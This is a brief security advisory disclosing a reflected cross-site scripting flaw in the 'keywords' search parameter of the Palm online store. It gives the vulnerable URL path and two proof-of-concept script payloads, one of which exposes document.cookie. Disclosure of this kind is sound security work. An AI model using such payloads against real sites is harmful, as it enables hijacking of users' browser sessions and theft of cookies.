Vulnerability:

----------------------------------------------

I found a bug in the searchField of the official Palm store("http://store.palm.com/").

Input passed to the "keywords" parameter in "index.jsp" is not properly sanitised before being returned to the user.

This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Sending a malicious code will result a code working on the page that pops up...

/searchHandler/index.jsp?keywords=[XSS CODE HERE]

Examples:

----------------------------------------------

/searchHandler/index.jsp?keywords=<script>alert("MajorSecurity")</script
>

/searchHandler/index.jsp?keywords=3Cscript%3Ealert(document.cookie)%3C/s
cript%3E
